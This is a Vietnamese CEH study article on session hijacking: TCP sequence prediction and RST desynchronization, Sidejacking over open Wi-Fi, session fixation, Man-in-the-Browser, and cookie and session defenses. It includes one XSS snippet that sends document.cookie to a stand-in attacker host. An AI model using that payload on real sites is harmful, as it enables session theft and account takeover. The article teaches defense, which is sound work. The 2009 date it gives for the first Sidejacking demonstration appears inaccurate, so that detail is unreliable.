Chuyển đến nội dung chính (Skip to content)
CEH (Certified Ethical Hacker)

CEH Module 11: Session Hijacking và Kỹ thuật Chiếm đoạt Phiên làm việc

Phân tích chuyên sâu kỹ thuật TCP Session Hijacking, thuật toán dự đoán số tuần tự Sequence Number, cơ chế Sidejacking cướp Cookie qua Wi-Fi và giải pháp phòng vệ với HttpOnly.

Trong kiến trúc bảo mật của các hệ thống mạng và ứng dụng web, giai đoạn xác thực người dùng (Authentication) thường được bảo vệ rất nghiêm ngặt bằng mật khẩu phức tạp, mã xác thực hai yếu tố (2FA) hay chữ ký số. Tuy nhiên, sau khi người dùng đã vượt qua cánh cửa xác thực ban đầu, hệ thống sẽ duy trì trạng thái đăng nhập đó thông qua một phiên làm việc (Session). Nếu cơ chế duy trì phiên này không được bảo vệ an toàn, kẻ tấn công có thể bỏ qua hoàn toàn bước nhập mật khẩu và chiếm đoạt trực tiếp phiên làm việc của nạn nhân.

Kỹ thuật tấn công nguy hiểm này được gọi là Session Hijacking (Chiếm đoạt Phiên làm việc). Một khi đã cướp được phiên, kẻ tấn công có toàn quyền thao tác trên hệ thống với đầy đủ đặc quyền của người dùng hợp lệ, từ việc đọc trộm thư điện tử bí mật đến việc thực thi các giao dịch tài chính gian lận. Trong chương trình Certified Ethical Hacker (CEH v12), Module 11 đi sâu vào giải phẫu kỹ thuật TCP Session Hijacking ở Tầng Mạng, nguyên lý dự đoán số tuần tự Sequence Number, kỹ thuật Sidejacking cướp Cookie qua sóng Wi-Fi công cộng, cùng các giải pháp phòng ngự hiện đại như cờ bảo vệ Cookie HttpOnly, HSTS và kỹ thuật Session Rotation.

1. Bản chất Kỹ thuật: Phân biệt Rõ ràng Giữa Spoofing và Session Hijacking

Trong các câu hỏi tình huống của kỳ thi quốc tế CEH cũng như trong công tác điều tra an ninh số, hai khái niệm Spoofing (Giả mạo) và Hijacking (Cướp phiên) thường dễ bị nhầm lẫn do cả hai đều dẫn đến việc kẻ tấn công hành động dưới danh tính của người khác.

Phân biệt Cốt lõi

  • Spoofing (Tấn công Giả mạo): Kẻ tấn công chủ động khởi tạo một kết nối mới hoặc gửi các gói tin đơn lẻ bằng cách mạo danh địa chỉ IP, địa chỉ MAC hoặc địa chỉ Email của một thực thể hợp lệ (ví dụ: IP Spoofing, ARP Spoofing). Kẻ tấn công giả mạo danh tính ngay từ bước bắt đầu truyền thông để vượt qua các bộ lọc kiểm tra danh sách trắng (Whitelist).
  • Session Hijacking (Chiếm đoạt Phiên): Kẻ tấn công kiên nhẫn chờ đợi cho đến khi người dùng hợp lệ hoàn tất quá trình đăng nhập và xác thực thành công với máy chủ. Khi phiên làm việc đã được thiết lập ổn định (Established State), kẻ tấn công bất ngờ can thiệp vào giữa đường truyền, ngắt quyền điều khiển của nạn nhân và cướp lấy phiên kết nối đang mở đó để giao tiếp trực tiếp với máy chủ.

Điểm làm cho Session Hijacking trở nên đáng sợ là kẻ tấn công không cần phải biết tên đăng nhập hay mật khẩu của nạn nhân. Dù mật khẩu của người dùng có dài 30 ký tự ngẫu nhiên hay tài khoản có bật 2FA, một khi Session Token hoặc kết nối TCP đã bị cướp, máy chủ sẽ xem mọi gói tin từ kẻ tấn công là luồng dữ liệu hợp lệ tiếp theo của phiên làm việc đã được tin cậy.

2. Phân loại Session Hijacking: Tầng Mạng vs Tầng Ứng dụng

Tùy thuộc vào tầng giao thức mà kẻ tấn công nhắm tới trong mô hình OSI, Session Hijacking được chia thành hai trường phái kỹ thuật chính: Network-level Hijacking và Application-level Hijacking.

1. Chiếm đoạt Phiên ở Tầng Mạng (Network-level Session Hijacking)

Tấn công trực tiếp vào ngăn xếp giao thức mạng, điển hình nhất là TCP Session Hijacking. Kẻ tấn công can thiệp vào luồng truyền dữ liệu bằng cách theo dõi các số tuần tự Sequence Number (SEQ) và số báo nhận Acknowledgement Number (ACK) của phiên kết nối TCP, sau đó gửi các gói tin điều khiển giả mạo để chiếm quyền luồng dữ liệu mà không quan tâm ứng dụng bên trên là dịch vụ gì (Telnet, FTP, rlogin).

2. Chiếm đoạt Phiên ở Tầng Ứng dụng (Application-level Session Hijacking)

Nhắm vào các ứng dụng Web (HTTP/HTTPS). Do giao thức HTTP nguyên bản là giao thức phi trạng thái (Stateless), các ứng dụng web phải sử dụng các chuỗi mã định danh gọi là Session ID hoặc Session Cookie để ghi nhớ trạng thái đăng nhập của người dùng. Kẻ tấn công đánh cắp các Cookie này thông qua việc nghe lén mạng không mã hóa (Sidejacking), khai thác lỗ hổng Cross-Site Scripting (XSS), hoặc cố định phiên (Session Fixation).

Phân loại theo Mức độ Tác động: Chủ động vs Bị động

  • Passive Hijacking (Bị động): Kẻ tấn công chỉ âm thầm lắng nghe (Sniff) và ghi lại toàn bộ dữ liệu truyền qua lại trong phiên kết nối của người dùng hợp lệ để thu thập các thông tin nhạy cảm (tài khoản, dữ liệu kinh doanh).
  • Active Hijacking (Chủ động): Kẻ tấn công chủ động can thiệp bằng cách làm mất đồng bộ hóa (Desynchronization) kết nối của nạn nhân, tiêm các gói tin độc hại vào luồng truyền, và ra lệnh cho máy chủ thực thi các thao tác theo ý muốn của mình.

3. Tấn công TCP Session Hijacking: Quy trình 3 Bước và Dự đoán Số Tuần tự

Để hiểu được cách thức một kẻ tấn công có thể cướp lấy một phiên kết nối TCP đang hoạt động, chúng ta cần phân tích cấu trúc điều khiển của giao thức TCP.

Quy trình 3 bước tấn công TCP Session Hijacking qua mất đồng bộ hóa RST và bơm gói tin
Sơ đồ 11.1: Ba bước thực thi TCP Session Hijacking: Dò tìm số tuần tự, Làm mất đồng bộ hóa kết nối bằng TCP RST, và Bơm gói tin lệnh vào phiên đã xác thực.

Nguyên lý Hoạt động của Số Tuần tự (Sequence Number)

TCP chia nhỏ luồng dữ liệu ứng dụng thành các phân đoạn (Segments). Để đảm bảo các phân đoạn đến đích đúng thứ tự và không bị mất mát, TCP sử dụng hai trường điều khiển 32-bit trong tiêu đề gói tin:

  • Sequence Number (SN / SEQ): Số thứ tự của byte dữ liệu đầu tiên trong phân đoạn đang gửi.
  • Acknowledgement Number (ACK): Số thứ tự của byte tiếp theo mà bên nhận đang mong đợi nhận được.

Quy tắc tăng giá trị số tuần tự diễn ra như sau:

  1. Trong quá trình bắt tay 3 bước (Three-way Handshake), khi bên nhận gửi gói tin phản hồi cờ SYN-ACK, giá trị ACK sẽ bằng ISN (Initial Sequence Number) của bên gửi + 1.
  2. Trong quá trình truyền nhận dữ liệu thực tế sau đó, giá trị ACK được tính bằng: ACK = SEQ nhận được + Kích thước dữ liệu Payload (tính bằng byte). Ví dụ: nếu Client gửi gói tin có SEQ = 4000 với 45 byte dữ liệu, máy chủ sẽ phản hồi gói tin với ACK = 4045.

Quy trình 3 Bước Thực thi TCP Session Hijacking

Khi kẻ tấn công đã nằm trên cùng đường truyền mạng (hoặc đã thực hiện ARP Poisoning), cuộc tấn công chiếm phiên TCP diễn ra tuần tự:

Bước 1: Dò tìm Phiên và Dự đoán Số Tuần tự (Tracking Session)

Kẻ tấn công sử dụng các công cụ nghe lén để theo dõi các gói tin TCP trao đổi giữa Client và Server. Bằng cách quan sát giá trị SEQ, ACK và độ dài dữ liệu của gói tin gần nhất, kẻ tấn công tính toán chính xác giá trị Next_SEQ mà máy chủ đang mong đợi nhận được tiếp theo từ phía Client.

Bước 2: Làm Mất Đồng bộ Hóa Kết nối (Desynchronization)

Một bài toán đặt ra: nếu cả Client và Attacker cùng gửi các gói tin có số SEQ hợp lệ đến Server, Server sẽ bị bối rối bởi các gói tin trùng lặp hoặc xung đột. Do đó, kẻ tấn công bắt buộc phải ngắt kết nối của Client nhưng vẫn giữ phiên mở trên Server:

  • Kẻ tấn công tạo một gói tin TCP giả mạo địa chỉ IP của Server, bật cờ RST (Reset) hoặc cờ FIN, và gửi thẳng đến máy Client.
  • Khi nhận được gói RST này, hệ điều hành của Client tin rằng Server đã chủ động đóng kết nối. Client lập tức giải phóng socket và chấm dứt phiên làm việc ở phía mình.
  • Tuy nhiên, gói RST này không hề được gửi đến Server. Server hoàn toàn không hay biết Client đã ngắt kết nối và vẫn duy trì phiên làm việc ở trạng thái sẵn sàng nhận lệnh tiếp theo.

Bước 3: Bơm Gói tin Lệnh Độc hại (Packet Injection)

Ngay sau khi Client bị loại khỏi cuộc chơi, kẻ tấn công lập tức gửi một gói tin TCP mới đến Server:

  • Địa chỉ IP nguồn được giả mạo thành IP của Client.
  • Giá trị SEQ được điền chính xác bằng giá trị Next_SEQ đã tính toán ở Bước 1.
  • Phần dữ liệu Payload chứa các câu lệnh điều khiển hệ thống nguy hiểm (ví dụ: lệnh thêm tài khoản quản trị viên mới hoặc lệnh tạo reverse shell kết nối về máy hacker).
  • Máy chủ tiếp nhận gói tin, kiểm tra thấy số SEQ hoàn toàn trùng khớp với kỳ vọng, và thực thi câu lệnh với đầy đủ đặc quyền của phiên làm việc đã xác thực ban đầu.

4. Tấn công Web Session Hijacking và Kỹ thuật Sidejacking

Trên môi trường mạng Internet hiện đại, hình thức chiếm đoạt phiên phổ biến và nguy hiểm nhất diễn ra ở Tầng Ứng dụng Web.

Kiến trúc tấn công Sidejacking đánh cắp Cookie phiên làm việc qua mạng Wi-Fi mở
Sơ đồ 11.2: Kịch bản Sidejacking kinh điển: Kẻ nghe lén bắt trộm Session Cookie truyền qua sóng Wi-Fi không mã hóa và sao chép phiên đăng nhập vào trình duyệt cá nhân.

Kỹ thuật Sidejacking qua Mạng Không Dây Mở (Open Wi-Fi)

Thuật ngữ Sidejacking lần đầu tiên gây chấn động giới công nghệ tại đại hội an ninh mạng Black Hat năm 2009. Một chuyên gia bảo mật đã trình diễn trực tiếp khả năng đột nhập vào hộp thư điện tử của một phóng viên hãng thông tấn BBC đang ngồi tham dự hội thảo trong hội trường, và gửi đi một bức thư ngay trước mắt khán thính giả mà không cần mật khẩu.

Nguyên lý của cuộc tấn công Sidejacking:

  1. Trước đây, nhiều website lớn (bao gồm cả Facebook, Yahoo, Twitter thời kỳ đầu) chỉ áp dụng giao thức mã hóa HTTPS cho trang đăng nhập để bảo vệ mật khẩu.
  2. Tuy nhiên, sau khi người dùng đăng nhập thành công, để tiết kiệm năng lượng xử lý của máy chủ, toàn bộ các trang nội dung, hình ảnh và tương tác sau đó lại được chuyển hướng về giao thức HTTP thông thường.
  3. Mỗi khi người dùng duyệt một trang HTTP, trình duyệt tự động đính kèm tiêu đề Cookie: session_id=... ở dạng văn bản thuần (Cleartext) vào gói tin.
  4. Trong môi trường mạng không dây công cộng (quán cà phê, sân bay), sóng radio truyền trong không khí ở dạng quảng bá. Kẻ tấn công chỉ cần bật card mạng Wi-Fi ở chế độ Promiscuous là có thể thu thập trọn vẹn chuỗi Cookie này.
  5. Kẻ tấn công sử dụng các công cụ như Firesheep (một tiện ích mở rộng từng rất nổi tiếng trên Firefox) hoặc bộ đôi Ferret & Hamster. Công cụ này tự động bóc tách Cookie từ luồng sóng Wi-Fi và nạp vào trình duyệt của kẻ tấn công. Khi kẻ tấn công nhấn F5 tải lại trang, họ lập tức đăng nhập thẳng vào tài khoản của nạn nhân.

Nếu website mắc phải lỗ hổng XSS (cho phép người dùng chèn mã kịch bản độc hại vào trang web), kẻ tấn công có thể chèn một đoạn mã JavaScript đơn giản:

<script>
  var cookieData = document.cookie;
  var img = new Image();
  img.src = 'https://attacker.com/steal?data=' + encodeURIComponent(cookieData);
</script>

Khi bất kỳ người dùng nào truy cập vào trang web bị nhiễm XSS, trình duyệt của họ sẽ tự động thực thi đoạn mã trên, đọc toàn bộ Session Cookie lưu trong bộ nhớ và âm thầm gửi về máy chủ của kẻ tấn công.

4. Tấn công Người ở giữa Trình duyệt (Man-in-the-Browser - MitB)

Một hình thức chiếm đoạt phiên cực kỳ nguy hiểm trên máy trạm là Man-in-the-Browser (MitB). Thay vì can thiệp vào đường truyền mạng bên ngoài, kẻ tấn công cài cắm mã độc (thường là một tiện ích mở rộng trình duyệt độc hại hoặc một Trojan ngân hàng như ZeuS) trực tiếp vào bộ nhớ tiến trình của trình duyệt web (chrome.exe, firefox.exe):

  • Mã độc móc (hook) vào các hàm API xử lý mạng của trình duyệt (như WinINet, PR_Read, PR_Write trong NSS).
  • Khi người dùng đăng nhập ngân hàng trực tuyến bằng HTTPS hợp lệ, giao tiếp giữa trình duyệt và máy chủ vẫn được mã hóa hoàn hảo. Tuy nhiên, mã độc MitB nằm ngay tại điểm kết thúc giải mã của trình duyệt.
  • Khi người dùng thực hiện lệnh chuyển 1 triệu đồng đến tài khoản A, mã độc MitB âm thầm chỉnh sửa dữ liệu biểu mẫu trong bộ nhớ thành chuyển 100 triệu đồng đến tài khoản của hacker B, đồng thời hiển thị giao diện giả mạo xác nhận thành công chuyển cho tài khoản A. Nạn nhân hoàn toàn không thấy bất kỳ dấu hiệu bất thường nào trên màn hình.

5. Tấn công Cố định Phiên (Session Fixation)

Trong kịch bản Session Fixation, kẻ tấn công không tìm cách lấy cắp Cookie của nạn nhân mà chủ động cấp trước một Session ID đã biết cho nạn nhân:

  1. Kẻ tấn công truy cập website ngân hàng và nhận được một Session ID hợp lệ chưa đăng nhập (ví dụ: sid=123456).
  2. Kẻ tấn công gửi liên kết lừa đảo cho nạn nhân: https://bank.com/login?session_id=123456.
  3. Nạn nhân nhấp vào liên kết và tiến hành đăng nhập bằng tài khoản và mật khẩu thật của mình.
  4. Nếu hệ thống máy chủ bị lỗi và không tạo lại Session ID mới sau khi đăng nhập thành công, phiên làm việc của nạn nhân sẽ được liên kết trực tiếp với mã sid=123456 có sẵn.
  5. Lúc này, kẻ tấn công chỉ cần sử dụng mã sid=123456 đã lưu sẵn từ trước để truy cập vào tài khoản ngân hàng của nạn nhân.

5. Bộ Công cụ Tấn công Session Hijacking Hàng đầu

Trong thực hành kiểm thử an ninh mạng và các bài thi quốc tế CEH, các công cụ sau đây là đại diện tiêu biểu cho kỹ thuật chiếm phiên:

  • Burp Suite: Nền tảng kiểm thử ứng dụng web số 1 thế giới. Module Proxy và Repeater cho phép bắt giữ, phân tích cấu trúc Cookie, sửa đổi giá trị tham số phiên theo thời gian thực và kiểm tra tính ngẫu nhiên của thuật toán sinh Session ID bằng module Sequencer.
  • Hunt: Công cụ nâng cao trên Linux chuyên dùng cho mạng có dây. Hunt có khả năng can thiệp vào các kết nối TCP, tự động phát hiện số Sequence Number, làm mất đồng bộ hóa bằng cờ RST, và hỗ trợ tính năng theo dõi phiên gõ phím trực tiếp (TTY Hijacking).
  • Juggernaut: Công cụ kinh điển hoạt động trên môi trường mạng dùng Hub, chuyên dùng để nghe lén các phiên TCP và tiêm mã điều khiển vào luồng truyền.
  • Tamper Data: Tiện ích trình duyệt cho phép người dùng chặn bắt và sửa đổi các trường tiêu đề HTTP và dữ liệu biểu mẫu (Form Data) trước khi chúng được gửi lên máy chủ, thường được sử dụng để thao túng điểm số hoặc thay đổi tham số phiên trong các ứng dụng web.

6. Chiến lược Phòng thủ Toàn diện Chống Lại Session Hijacking

Để bảo vệ phiên làm việc của người dùng trước cả hai nguy cơ ở Tầng Mạng và Tầng Ứng dụng, các tổ chức và lập trình viên cần triển khai các giải pháp kỹ thuật theo chuẩn khuyến nghị của OWASP.

Cơ chế bảo vệ Cookie phiên làm việc đa tầng bằng các cờ HttpOnly Secure và tái tạo Session ID
Sơ đồ 11.3: Bộ cờ bảo vệ Cookie toàn diện theo chuẩn an ninh: HttpOnly chống XSS, Secure chống Sniffing, SameSite chống CSRF và Tái tạo Session ID chống Fixation.

Khi máy chủ web gửi chỉ thị lưu trữ Cookie về trình duyệt người dùng qua tiêu đề Set-Cookie, bắt buộc phải kèm theo 3 cờ bảo vệ cốt tử:

Set-Cookie: session_id=k98f21e84a29c; Path=/; Secure; HttpOnly; SameSite=Strict
  • Cờ HttpOnly: Chỉ thị cho trình duyệt cấm hoàn toàn các đoạn mã JavaScript phía máy khách (như document.cookie) truy cập vào giá trị của Cookie này. Nếu ứng dụng có vô tình mắc lỗ hổng XSS, kẻ tấn công cũng không thể đánh cắp được Session ID.
  • Cờ Secure: Yêu cầu trình duyệt chỉ được phép truyền Cookie này qua các kênh kết nối được mã hóa TLS/HTTPS. Nếu người dùng chuyển sang truy cập một trang HTTP thông thường, trình duyệt sẽ tự động giấu Cookie này đi, vô hiệu hóa hoàn toàn nguy cơ bị bắt gói tin qua sóng Wi-Fi (Sidejacking).
  • Cờ SameSite=Lax/Strict: Ngăn chặn trình duyệt tự động gửi kèm Cookie trong các yêu cầu gửi đến từ các trang web bên thứ ba, triệt tiêu nguy cơ tấn công Giả mạo Yêu cầu Đa trang (CSRF).

2. Cơ chế Tái tạo Phiên làm việc (Session ID Regeneration)

Để tiêu diệt hoàn toàn nguy cơ tấn công Cố định Phiên (Session Fixation):

Hệ thống máy chủ bắt buộc phải thực thi hàm tái tạo Session ID ngay tại thời điểm người dùng xác thực thành công (chẳng hạn hàm session_regenerate_id(true) trong PHP). Khi đó, Session ID tạm thời trước khi đăng nhập sẽ bị xóa sổ vĩnh viễn khỏi bộ nhớ máy chủ, và một Session ID ngẫu nhiên mới hoàn toàn được cấp phát cho phiên đăng nhập chính thức.

3. Mã hóa Toàn diện Toàn bộ Kênh Truyền (HTTPS / HSTS)

  • Triển khai mã hóa SSL/TLS 1.3 cho toàn bộ website, không chỉ riêng trang đăng nhập.
  • Kích hoạt tiêu đề HSTS (HTTP Strict Transport Security):
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    Tiêu đề này ép buộc trình duyệt của người dùng luôn luôn phải kết nối qua HTTPS, ngăn chặn các kỹ thuật hạ cấp giao thức (SSL Stripping).
  • Khi kết nối Internet qua các mạng Wi-Fi công cộng thiếu an toàn, người dùng bắt buộc phải sử dụng các giải pháp mạng riêng ảo mã hóa đầu cuối như IPsec VPN hoặc WireGuard.

4. Ràng buộc Thuộc tính Phiên (IP & User-Agent Fingerprinting)

Để ngăn chặn kẻ tấn công sử dụng Cookie vừa đánh cắp được trên một thiết bị khác, hệ thống máy chủ có thể áp dụng cơ chế liên kết phiên (Session Binding):

  • Khi tạo phiên, máy chủ lưu lại địa chỉ IP công khai và chuỗi nhận diện trình duyệt User-Agent của người dùng vào cơ sở dữ liệu phiên.
  • Trong mỗi yêu cầu HTTP tiếp theo, máy chủ so khớp địa chỉ IP và User-Agent hiện tại. Nếu phát hiện một yêu cầu gửi cùng một Session ID nhưng lại xuất phát từ một địa chỉ IP thuộc quốc gia khác hoặc User-Agent hoàn toàn khác biệt, hệ thống lập tức hủy bỏ phiên làm việc và yêu cầu người dùng xác thực lại danh tính.
  • Lưu ý thực tế: Việc ràng buộc địa chỉ IP cần được thiết kế cẩn trọng đối với người dùng di động (4G/5G) do địa chỉ IP có thể thay đổi liên tục khi người dùng di chuyển giữa các trạm phát sóng viễn thông.

5. Kiểm soát Thời gian Sống của Phiên (Session Timeout Policy)

Một nguyên tắc tối quan trọng trong quản trị phiên là không bao giờ cho phép phiên làm việc tồn tại vô hạn định:

  • Idle Timeout (Thời gian chờ không hoạt động): Tự động hủy phiên và đăng xuất người dùng sau một khoảng thời gian không có tương tác (thường là 15 đến 30 phút đối với ứng dụng thông thường, và 5 phút đối với cổng ngân hàng điện tử).
  • Absolute Timeout (Thời gian tồn tại tuyệt đối): Bắt buộc người dùng phải đăng nhập lại sau một khoảng thời gian cố định (ví dụ 8 hoặc 12 tiếng), bất kể người dùng có đang liên tục thao tác hay không, nhằm thu hẹp tối đa cửa sổ cơ hội của kẻ tấn công nếu Cookie bị rò rỉ.

6. Phòng thủ Tầng Mạng: Random hóa Số Tuần tự ISN

Để ngăn chặn các cuộc tấn công TCP Session Hijacking, các hệ điều hành hiện đại (Windows Server, Linux Kernel) đều đã triển khai thuật toán sinh số tuần tự khởi tạo ngẫu nhiên dựa trên mật mã học (Cryptographically Strong Random ISN). Thuật toán này kết hợp hàm băm MD5/SHA-256 với khóa bí mật của nhân hệ thống và bộ đếm thời gian nano-giây, khiến kẻ tấn công không thể dự đoán được số Sequence Number tiếp theo thông qua việc nghe lén đơn thuần.

7. Tổng kết và Trọng tâm Ôn luyện Kỳ thi CEH

Session Hijacking là một trong những chuyên đề có tính ứng dụng thực chiến cao nhất trong giáo trình Certified Ethical Hacker. Những điểm cốt lõi cần khắc sâu để hoàn thành xuất sắc kỳ thi:

  • Sự khác biệt bản chất: Spoofing là giả mạo danh tính để khởi tạo kết nối; trong khi Session Hijacking là chờ người dùng xác thực thành công rồi mới cướp phiên và ngắt kết nối của nạn nhân.
  • Quy trình 3 bước TCP Hijacking: Tracking Session (dò tìm SEQ/ACK) → Desynchronization (gửi gói TCP RST giả mạo Server đến Client) → Packet Injection (bơm gói tin có SEQ hợp lệ đến Server).
  • Cơ chế Sidejacking: Khai thác các website sử dụng HTTPS ở trang đăng nhập nhưng truyền Cookie qua HTTP không mã hóa ở các trang sau; bắt trộm Cookie trực tiếp từ sóng Wi-Fi bằng công cụ Firesheep hoặc Ferret/Hamster.
  • Lỗ hổng liên quan: XSS cho phép đánh cắp Cookie nếu thiếu cờ HttpOnly; Session Fixation xảy ra khi máy chủ không đổi Session ID sau khi đăng nhập thành công.
  • Bộ cờ bảo vệ bắt buộc: HttpOnly (chống đọc qua JavaScript), Secure (chỉ truyền qua HTTPS), SameSite (chống CSRF) kết hợp với kỹ thuật Session Regeneration.